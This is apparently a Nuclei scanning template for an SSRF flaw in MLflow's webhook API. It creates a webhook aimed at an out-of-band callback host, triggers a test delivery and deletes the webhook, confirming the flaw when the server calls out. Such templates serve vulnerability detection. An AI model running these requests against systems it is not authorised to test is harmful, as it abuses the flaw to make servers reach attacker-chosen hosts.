id: CVE-2026-64849

info:
  name: "Mlflow - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    MLflow is an open source AI engineering platform for agents, large language models, and machine learning
    models.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-64849&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-64849
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev
variables:
  random: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/webhooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{random}}","url":"https://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

      - |
        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"webhook_id":"{{webhook_id}}","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

      - |
        DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "webhook_id"
          - "ACTIVE"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: regex
        name: webhook_id
        part: body
        internal: true
        regex:
          - '"webhook_id":\s*"([^"]+)"'
        group: 1